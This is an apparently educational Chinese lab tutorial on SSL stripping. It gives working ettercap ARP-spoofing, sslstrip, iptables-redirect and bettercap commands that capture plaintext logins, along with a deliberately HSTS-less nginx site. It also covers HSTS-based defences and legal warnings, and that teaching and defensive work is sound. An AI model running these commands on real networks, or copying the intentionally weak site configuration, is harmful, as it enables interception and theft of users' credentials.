一次真实的 SSL 剥离攻击:为什么 HTTPS 也会翻车

📅 2026/7/14 8:38:44
一次真实的 SSL 剥离攻击:为什么 HTTPS 也会翻车
文章目录一、HTTPS 也会翻车先打破两个误区二、SSL 剥离原理动画级2.1 正常 HTTPS 访问2.2 剥离后用户走 HTTP攻击者走 HTTPS2.3 与「伪造证书 MITM」的区别三、攻击链前置条件四、实验环境4.1 拓扑专栏标准 Host-Only4.2 Web 靶站故意留「可被剥离」的配置4.3 Kali hosts4.4 打快照五、阶段一ARP MITM 流量转发六、阶段二sslstrip 经典复现6.1 安装6.2 启动 sslstrip6.3 受害机操作6.4 观察结果6.5 sslstrip 做了什么抓包对照七、阶段三用户输入「不带 https」的场景八、为什么 HSTS 是「杀手锏」防御8.1 HSTS 如何阻断剥离8.2 实验对比开启 HSTS8.3 首次访问窗口Chicken-and-Egg九、其他防御措施9.1 安全表单示例十、现代浏览器下的「还能不能剥离」十一、Wireshark 验证剥离链路11.1 过滤器11.2 预期现象11.3 对照表十二、完整实验步骤清单120 分钟十三、常见踩坑十四、法律与伦理十五、攻击链总复盘十六、本篇小结附录 A命令速查附录 Bnginx 加固片段附录 C与专栏前篇关联定位网络基础与协议安全篇 · 把「小锁图标」背后的降级链路拆给你看阅读对象安全入门者、Web 开发/运维、渗透与蓝队初学者声明SSL 剥离实验仅限自有隔离靶场Host-Only对公网或未授权用户实施降级攻击违法。一、HTTPS 也会翻车先打破两个误区误区 A「地址栏有小锁 绝对安全」 误区 B「用了 TLS 1.3中间人就拿不到密码」SSL 剥离SSL Stripping攻击的不是「破解 TLS」而是让用户根本不走 HTTPS用户以为 https://bank.lab/login → 加密传输 实际发生 http://bank.lab/login → 明文传输攻击者 MITM 中转攻击点说明协议降级把 HTTPS 请求改成 HTTP 发给用户依赖 MITM需 ARP 欺骗等把流量引到攻击机利用用户习惯输入bank.lab不带https://利用首次访问HSTS 未缓存时仍可被剥离利用页面链接站内http://链接、302 降到 HTTP上一篇 TLS 1.3 再强也挡不住「客户端从未发起 TLS 握手」。本文在靶场完整复现 sslstrip并讲清防御。二、SSL 剥离原理动画级2.1 正常 HTTPS 访问用户浏览器 真实服务器 │ │ │──── TCP 443 ──────────────────────►│ │──── TLS ClientHello ──────────────►│ │◄─── TLS ServerHello 证书 ────────│ │════ 加密 HTTP登录表单══════════►│2.2 剥离后用户走 HTTP攻击者走 HTTPS用户浏览器 攻击者 Kali 真实服务器 │ │ │ │── GET http://bank.lab/login ──────────────►│ ① 用户只发 HTTP │ │── GET https://bank.lab/login ──►│ ② 攻击者替用户走 HTTPS │ │◄── 200 HTML ────────────────────│ │◄── 200 HTML改写链接 http://────────────│ ③ 返回改写后的页面 │── POST http://... userxxpassyy ────────►│ ④ 用户提交明文 │ │── POST https://... ────────────►│ ⑤ 攻击者可选转发关键机制用户第一次访问常用HTTP或点击http://链接MITM拦截 443 连接尝试或把页面里 https 链接改成 http用户与攻击者之间全程明文攻击者与真实站之间仍可 HTTPS用户无感知2.3 与「伪造证书 MITM」的区别方式用户地址栏用户是否看到证书警告Burp 证书 MITM常显示 https 锁信任 Burp CA未导入 CA 时有警告SSL 剥离显示http无锁无证书环节HSTS 生效后浏览器强制 https剥离难度大增剥离更「阴险」用户看到的是不起眼的 HTTP警惕性更低。三、攻击链前置条件① 网络 MITMARP 欺骗 / 恶意网关 / 恶意 WiFi ↓ ② 流量转发开启net.ipv4.ip_forward1 ↓ ③ 剥离工具sslstrip / bettercap hstshijack ↓ ④ 诱导 HTTP 入口用户输入无 scheme 的 URL、站内 http 链接 ↓ ⑤ 明文截获 Cookie / 密码没有 MITMsslstrip 单独跑没有意义——必须先把受害机流量引到 Kali。四、实验环境4.1 拓扑专栏标准 Host-Only网关可选 192.168.56.1 Kali 攻击机 192.168.56.10 受害机 Ubuntu 192.168.56.30 Web 靶站 192.168.56.30:80 :443 网段 192.168.56.0/244.2 Web 靶站故意留「可被剥离」的配置模拟老旧站点HTTP 可访问 HTTPS 可选 无 HSTS# 受害机 192.168.56.30sudoaptinstall-ynginx opensslsudoopenssl req-x509-nodes-days365-newkeyrsa:2048\-keyout/etc/ssl/private/lab.key\-out/etc/ssl/certs/lab.crt\-subj/CNbank.labsudotee/etc/nginx/sites-available/bank.labEOF server { listen 80; server_name bank.lab; root /var/www/bank; } server { listen 443 ssl; server_name bank.lab; ssl_certificate /etc/ssl/certs/lab.crt; ssl_certificate_key /etc/ssl/private/lab.key; root /var/www/bank; } EOFsudomkdir-p/var/www/banksudotee/var/www/bank/login.htmlEOF !DOCTYPE html html headtitleBank Login/title/head body h1Secure Bank (Lab)/h1 !-- 故意混用 http 链接便于演示剥离 -- pa hrefhttp://bank.lab/login.htmlLogin via HTTP/a/p form actionhttp://bank.lab/do_login methodPOST User: input nameuserbr Pass: input namepass typepasswordbr input typesubmit valueLogin /form /body /html EOFsudoln-sf/etc/nginx/sites-available/bank.lab /etc/nginx/sites-enabled/echo192.168.56.30 bank.lab|sudotee-a/etc/hosts# 受害机 hostssudonginx-tsudosystemctl reload nginx受害机 hostsecho192.168.56.30 bank.lab|sudotee-a/etc/hosts注意先不要配置 HSTS才能观察剥离实验后半段再加 HSTS 对比。4.3 Kali hostsecho192.168.56.30 bank.lab|sudotee-a/etc/hosts4.4 打快照victim-bank-clean/kali-clean五、阶段一ARP MITM 流量转发# Kalisudosysctl-wnet.ipv4.ip_forward1# 双向 ARP 欺骗网关按你环境改无网关可只骗受害机sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//验证受害机流量经 Kalisudotcpdump-ieth1host192.168.56.30-c20受害机浏览器访问http://bank.lab/login.htmlKali 应能看到 HTTP 包。六、阶段二sslstrip 经典复现6.1 安装# Kali 通常自带whichsslstripsudoaptinstall-ysslstrip# 若无6.2 启动 sslstrip终端 1 — sslstrip监听 8080写日志sudosslstrip-l8080-w/tmp/sslstrip.log终端 2 — iptables 把 80 流量重定向到 8080# 对「经 Kali 转发的」目标 80 端口做 REDIRECTsudoiptables-tnat-APREROUTING-ptcp --destination-port80-jREDIRECT --to-port8080说明sslstrip 作为透明 HTTP 代理改写 HTML 中的https://为http://并对用户发起的 HTTPS 尝试做剥离处理。6.3 受害机操作1. 打开浏览器清除 HSTSChrome chrome://net-internals/#hsts 删除 bank.lab 2. 地址栏输入http://bank.lab/login.html 或只输入 bank.lab 选 HTTP 3. 填写 useralice passSecret123 提交6.4 观察结果sslstrip 日志sudotail-f/tmp/sslstrip.log应记录 POST 字段等明文。WiresharkKali eth1过滤器ip.addr 192.168.56.30 http Follow HTTP Stream → 看到 POST passSecret123对比受害机地址栏是否为http://bank.lab/...无锁。6.5 sslstrip 做了什么抓包对照步骤现象页面中的https://链接被改成http://用户点击「安全登录」若本是 https可能仍被降级攻击者访问上游curl -k https://bank.lab拉真实内容七、阶段三用户输入「不带 https」的场景许多用户输入bank.lab时浏览器默认策略· 现代浏览器可能先查 HSTS / HTTPS First · 无 HSTS 时可能默认 http://bank.lab · 攻击者 MITM 可拦截 301/302 到 https 的跳转实验受害机地址栏只输入 bank.lab不选 https 观察是否落到 http 页面并成功剥离Bettercap 补充可选sudobettercap-ifaceeth1# 在 bettercap 交互界面net.probe onsetarp.spoof.targets192.168.56.30 arp.spoof onsetnet.sniff.localtruenet.sniff onsethttp.proxy.sslstriptruehttp.proxy onBettercap 把 ARP sslstrip 集成适合快速演示。八、为什么 HSTS 是「杀手锏」防御8.1 HSTS 如何阻断剥离服务器返回Strict-Transport-Security: max-age31536000; includeSubDomains浏览器行为· 记住 bank.lab 必须用 HTTPS · 自动把 http://bank.lab 升级为 https://bank.lab · 拒绝用户「继续用 HTTP」 · sslstrip 改写的 http 链接仍可能被浏览器强制升 HTTPS在 HSTS 有效期内8.2 实验对比开启 HSTS# 443 server 块添加 add_header Strict-Transport-Security max-age31536000; includeSubDomains always;sudonginx-tsudosystemctl reload nginx步骤1. 受害机先用 HTTPS 访问一次 https://bank.lab让 HSTS 入库 2. 清除 sslstrip 外再测直接输入 bank.lab 3. 观察是否自动跳 httpssslstrip 日志是否变少/失效状态sslstrip 效果从未 HTTPS 访问过仍危险首次访问窗口HSTS 已缓存大幅失效HSTS Preload 列表首次安装浏览器也有保护8.3 首次访问窗口Chicken-and-Egg用户一辈子第一次访问 bank.lab → 尚无 HSTS → 仍可能 http 或被 MITM 剥离 → 需要 HSTS Preload 或用户书签写死 https://查 Preloadhttps://hstspreload.org/九、其他防御措施层级措施说明站点全站 HTTPS 30180 永久跳 443站点HSTS preload消灭首次降级窗口需审核页面禁止 http 链接表单 action、CDN 全 httpsCookieSecure 标志明文 HTTP 不带 Cookie减劫持用户HTTPS-Only 扩展浏览器插件强制 https网络DNSSEC 可信 DNS减 DNS 劫持到 MITM企业VPN / 802.1X减开放 WiFi MITM蓝队检测 ARP 异常剥离前提往往是 MITM9.1 安全表单示例!-- 错误可被剥离 --formactionhttp://bank.lab/do_loginmethodPOST!-- 正确 --formactionhttps://bank.lab/do_loginmethodPOST配合Content-Security-Policy: upgrade-insecure-requests可自动升 HTTP 子资源。十、现代浏览器下的「还能不能剥离」因素影响ChromeHTTPS-First默认尝试 https剥离难度↑HSTS 普及大站基本免疫经典 sslstrip混合内容阻断HTTPS 页中的 http 资源被拦移动端 App证书固定Pinning可防代理 MITM老旧内网、IoT、测试站仍大量存在 HTTP 入口渗透报告话术「目标未部署 HSTS在内网 MITM 条件下可演示 SSL 剥离获取明文凭据建议启用 HSTS、关闭 80 明文。」十一、Wireshark 验证剥离链路11.1 过滤器ip.addr 192.168.56.30 (http || tls)11.2 预期现象受害机 ↔ Kali大量 TCP 80 HTTP 明文 POST Kali ↔ 真实站TCP 443 TLS攻击者上游加密不会看到受害机发出的 TLS ClientHello若剥离成功。11.3 对照表流量段协议内容可见性用户 → KaliHTTP明文Kali → 服务器HTTPS需 Kali 本机 KEYLOG 才解十二、完整实验步骤清单120 分钟□ 1. 部署 bank.labHTTPHTTPS表单故意用 http:// □ 2. 受害机 / Kali 配置 hosts □ 3. Kali 开启 ip_forward ARP 欺骗 □ 4. 启动 sslstrip iptables 80→8080 □ 5. 受害机 http 访问登录页提交凭据 □ 6. 检查 /tmp/sslstrip.log 与 Wireshark 明文 POST □ 7. 截图地址栏http 无锁 □ 8. nginx 开启 HSTSHTTPS 访问一次 □ 9. 重复测试记录 sslstrip 是否失效 □ 10. 清理 iptablessudo iptables -t nat -F □ 11. 写报告原理图 日志 HSTS 对比 修复建议十三、常见踩坑问题原因解决sslstrip 无日志iptables 未 REDIRECT检查 PREROUTING 规则受害机断网未 ip_forwardsysctl -w net.ipv4.ip_forward1仍跳 https浏览器 HSTS 缓存chrome://net-internals/#hsts 删除域名ettercap 与 iptables 冲突规则顺序先 ARP 再 sslstrip本机测 Kali流量未过 Kali必须受害机经 MITMBettercap 无效未 arp.spoof先 poison 再 http.proxy实验后无法上网iptables 残留sudo iptables -t nat -F十四、法律与伦理✅ 允许自有 VM 靶场、书面授权渗透项目中的降级演示 ❌ 禁止咖啡厅/公司网 WiFi 对用户做 sslstrip ❌ 禁止窃取真实账号密码SSL 剥离是经典安全教育演示不是未授权攻击的借口。十五、攻击链总复盘ARP 欺骗二层 MITM └─► DNS 欺骗可选导向钓鱼 IP └─► SSL 剥离协议降级 └─► 明文嗅探 / 会话劫持 └─► 凭据重用、内网横向与 TLS 1.3 的关系剥离让 TLS 根本不被调用与 Burp MITM 的关系剥离无需用户信任额外 CA。十六、本篇小结┌─────────────────────────────────────────────────────────────┐ │ SSL 剥离 核心记忆 │ ├─────────────────────────────────────────────────────────────┤ │ 不破解 TLS而是让用户用 HTTP │ │ 前提MITM 用户从 HTTP 或无前缀 URL 进入 │ │ 工具sslstrip iptables 80→8080或 bettercap │ │ 防御HSTSpreload、全站 HTTPS、Secure Cookie │ │ 首次访问无 HSTS 仍是弱点 │ └─────────────────────────────────────────────────────────────┘下一篇预告《邮件安全实战SPF/DKIM/DMARC 配置与钓鱼绕过》——从 Web 降级转到邮件身份伪造与检测。附录 A命令速查# 转发sudosysctl-wnet.ipv4.ip_forward1# ARP 欺骗sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//# sslstripsudosslstrip-l8080-w/tmp/sslstrip.logsudoiptables-tnat-APREROUTING-ptcp --destination-port80-jREDIRECT --to-port8080# 清理sudoiptables-tnat-Fsudopkillsslstrip附录 Bnginx 加固片段server { listen 80; server_name bank.lab; return 301 https://$host$request_uri; } server { listen 443 ssl http2; server_name bank.lab; add_header Strict-Transport-Security max-age63072000; includeSubDomains; preload always; add_header Content-Security-Policy upgrade-insecure-requests always; # ssl_certificate ... }附录 C与专栏前篇关联前篇关联ARP 欺骗MITM 前置HTTP/HTTPS明文 vs 加密、证书陷阱TLS 1.3剥离绕过 TLS 握手Wireshark验证用户侧仅 HTTP